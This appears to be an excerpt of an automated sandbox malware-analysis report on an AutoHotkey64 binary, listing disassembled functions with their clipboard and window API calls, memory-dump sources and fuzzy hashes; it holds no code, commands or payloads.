                                                              • Instruction ID: 2bd10de99036704c8555684fa24da9ccd15d6f7553518d8874b0bf38c850bc38
                                                              • Opcode Fuzzy Hash: 75be5e0e610f4e23b3553f3059b2d739fbe7638d79a1f05a475c0afa1fa9bb03
                                                              • Instruction Fuzzy Hash: A8A1C3B1600A4486FB568B27D4443E937A1F74DBE4F11022AFB5963AF6DB38C490C745
                                                              Function 00000001400442B9 Relevance: 9.2, APIs: 6, Instructions: 193windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$RectWindow$ClientClipboardCloseGlobalMessageParentPeekScreenUnlock
                                                              • String ID:
                                                              • API String ID: 1625120959-0
                                                              • Opcode ID: a2c1348c3340522a7efd5b9dc312f22418899a6f369b20b0b26ef88e42d1ec29
                                                              • Instruction ID: 3553f4b2c4540e32eaeff9207cdb3834cbbf827bf7c34e725a07659000f4c7fb
                                                              • Opcode Fuzzy Hash: a2c1348c3340522a7efd5b9dc312f22418899a6f369b20b0b26ef88e42d1ec29
                                                              • Instruction Fuzzy Hash: BBA170B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490CB45
                                                              Function 0000000140045428 Relevance: 9.2, APIs: 6, Instructions: 193windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseCreateGlobalInitializeInstanceKeyboardLayoutMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1422310799-0
                                                              • Opcode ID: 4f5e1761335e9e7a19971aa97c8eb8a09ae0e1cd63c858dc484e13170d325806
                                                              • Instruction ID: d4b2d97816ed86bacf30cabc9895e8c9a96bf72506c194d9b1d1db82400aef43
                                                              • Opcode Fuzzy Hash: 4f5e1761335e9e7a19971aa97c8eb8a09ae0e1cd63c858dc484e13170d325806
                                                              • Instruction Fuzzy Hash: 42A160B1604B4486FB668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490CB45
                                                              Function 00000001400434BA Relevance: 9.2, APIs: 6, Instructions: 192windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 3520e795d1f0b5e0b8c31817ea6c196a169760ccbf33bdff67f57cfa4fb230b3
                                                              • Instruction ID: 2096aba2966e16396bdbcebd4fde1a01974ed4b4b3f4e3af37ee63801081c839
                                                              • Opcode Fuzzy Hash: 3520e795d1f0b5e0b8c31817ea6c196a169760ccbf33bdff67f57cfa4fb230b3
                                                              • Instruction Fuzzy Hash: 4DA1C1B160464486FB668B27E4443E937A1F38DBE4F11022AFB5967BF6DB38C891C705
                                                              Function 00000001400441BD Relevance: 9.2, APIs: 6, Instructions: 191windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: b609a21a1837adc476ef943efc28297f34dcb1218def0557e841cbb368f3e8f3
                                                              • Instruction ID: 1c7ecec9171d897db0ed499c261288889f02caa5b94fe6eac3a312b5a452fc85
                                                              • Opcode Fuzzy Hash: b609a21a1837adc476ef943efc28297f34dcb1218def0557e841cbb368f3e8f3
                                                              • Instruction Fuzzy Hash: D3A181B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB59A3BF5DB38C490C745
                                                              Function 00000001400418FF Relevance: 9.2, APIs: 6, Instructions: 191windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 7ca7ac8ea09ddda168b6dd0cfd38a2faca247c1d83b6b480d76cf650552a9f36
                                                              • Instruction ID: dbfe02e03a6b5884b06af3d5eeb0efd22bd7b7f20f041b2d546664f3dbd33e42
                                                              • Opcode Fuzzy Hash: 7ca7ac8ea09ddda168b6dd0cfd38a2faca247c1d83b6b480d76cf650552a9f36
                                                              • Instruction Fuzzy Hash: C091D472604A8485F7628B27E4443E937E1F74DBE4F110226EB5963AF5DB38C895C705
                                                              Function 00000001400440A9 Relevance: 9.2, APIs: 6, Instructions: 190windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Window$ClipboardCloseGlobalMessageMovePeekRectUnlock
                                                              • String ID:
                                                              • API String ID: 1284534901-0
                                                              • Opcode ID: 6d90be5780437ea1926624bb7a6d1765c7add771d477290e2de1b02934dec151
                                                              • Instruction ID: 0e6dd191d9ae4923e03cb1b1186f0eae2ca044f727bbeee3e219246d1eb0e5a1
                                                              • Opcode Fuzzy Hash: 6d90be5780437ea1926624bb7a6d1765c7add771d477290e2de1b02934dec151
                                                              • Instruction Fuzzy Hash: 61A170B1604B4486F7668B27E8843D937A1F78DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 00000001400458BC Relevance: 9.2, APIs: 6, Instructions: 190windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 85df0732ea045a40370ccbb9e49e030338b38a4b809aebcbbab56ef95b61bb3a
                                                              • Instruction ID: a2a99bfc7a96d3a1b4bb2e50a0af044a57a31f04a6ef9af2919890bcc8f4eef5
                                                              • Opcode Fuzzy Hash: 85df0732ea045a40370ccbb9e49e030338b38a4b809aebcbbab56ef95b61bb3a
                                                              • Instruction Fuzzy Hash: A191C5B160064486F7668B27D4943E937A1F74DBE4F12022AFB59636F2DB38C891C705
                                                              Function 0000000140044445 Relevance: 9.2, APIs: 6, Instructions: 189windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: da31f3bdcadadb5a6fdcef1082d42f52ec6c7428d76729d312e6bb0e780c1136
                                                              • Instruction ID: b7c7ee13ca5f46da80dc0b51ca6ee37518d3cb6c7f1671f895b92e2e6846b628
                                                              • Opcode Fuzzy Hash: da31f3bdcadadb5a6fdcef1082d42f52ec6c7428d76729d312e6bb0e780c1136
                                                              • Instruction Fuzzy Hash: 4DA181B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 0000000140044497 Relevance: 9.2, APIs: 6, Instructions: 189windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 6f1608d5c6aedc6d76e64c6edf08808660e45f92a9e699860ca068c81e6a5b82
                                                              • Instruction ID: 0aa26ce7f1bae9317390010e20670f62bc88be08d5281e4763c56a184a7e8ee4
                                                              • Opcode Fuzzy Hash: 6f1608d5c6aedc6d76e64c6edf08808660e45f92a9e699860ca068c81e6a5b82
                                                              • Instruction Fuzzy Hash: 1FA170B1604B4486F7668B27E8843D937A1F74DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 000000014004451B Relevance: 9.2, APIs: 6, Instructions: 189windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_wcstoi64wcsncpy
                                                              • String ID:
                                                              • API String ID: 2569467992-0
                                                              • Opcode ID: 9a44add650b498f23354164524a08afb52f0521ee5c142aa0b91ac0550cef95c
                                                              • Instruction ID: b4cf9a48bba42d8552374b12e82d11b424b114356501fd4c4e8ef0a6a79cdd53
                                                              • Opcode Fuzzy Hash: 9a44add650b498f23354164524a08afb52f0521ee5c142aa0b91ac0550cef95c
                                                              • Instruction Fuzzy Hash: 84A171B1604B4486F7668B27E8843D937A1F78DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 0000000140045283 Relevance: 9.2, APIs: 6, Instructions: 189windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: baa6b57e593adfff26728f7ad5c26b1c56aebbd656fa56ab0a8381f310e9de6e
                                                              • Instruction ID: 5f2b21ebd160ed57cf7aa9facb7174f4188890186c576497f748b6bdda423da9
                                                              • Opcode Fuzzy Hash: baa6b57e593adfff26728f7ad5c26b1c56aebbd656fa56ab0a8381f310e9de6e
                                                              • Instruction Fuzzy Hash: 24A1C3B1604A4486FB668B27E4843E937A1F38DBE4F110226EB5963AF6DB78C490C705
                                                              Function 0000000140045334 Relevance: 9.2, APIs: 6, Instructions: 188windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 58c34ddb61d81573f2ced49cab1f85ae9c9b2ee807ee3b10dca0adddb2dbf865
                                                              • Instruction ID: 4f8bfd6a7de64a7517045b21ee3b81a5f397817becfb1c561189b7d1ee89f326
                                                              • Opcode Fuzzy Hash: 58c34ddb61d81573f2ced49cab1f85ae9c9b2ee807ee3b10dca0adddb2dbf865
                                                              • Instruction Fuzzy Hash: 8E91B3B1604A4486FB668F27E4843E937A1F34DBE4F11022AFB5963AF6DB78C490C745
                                                              Function 00000001400457C5 Relevance: 9.2, APIs: 6, Instructions: 188windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlockwcsncpy
                                                              • String ID:
                                                              • API String ID: 3258626421-0
                                                              • Opcode ID: 760fe1ab978d5591e945c9e2b38011005cb85f47a96fbf608d5d64576460012e
                                                              • Instruction ID: 27115be2ec3d13f8bd1271f702003049b9c6e74352228fdf091a7377afe9049b
                                                              • Opcode Fuzzy Hash: 760fe1ab978d5591e945c9e2b38011005cb85f47a96fbf608d5d64576460012e
                                                              • Instruction Fuzzy Hash: B3A191B1604B8486F7668B27E8843D937A1F38DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 0000000140045810 Relevance: 9.2, APIs: 6, Instructions: 188windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlockwcsncpy
                                                              • String ID:
                                                              • API String ID: 3258626421-0
                                                              • Opcode ID: 67986fd81fd69e0decbb442996dad0bc3c193333c64035b675c50c75443a2735
                                                              • Instruction ID: 405a714e6ad41adb9271037b07ee97e263970652b8ce4dcd2a047e6383872054
                                                              • Opcode Fuzzy Hash: 67986fd81fd69e0decbb442996dad0bc3c193333c64035b675c50c75443a2735
                                                              • Instruction Fuzzy Hash: E8A192B1604B4486F7668B27E4843D937A1F74DBE4F11022AEB5963BF5DB38C490C745
                                                              Function 00000001400443C5 Relevance: 9.2, APIs: 6, Instructions: 187windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
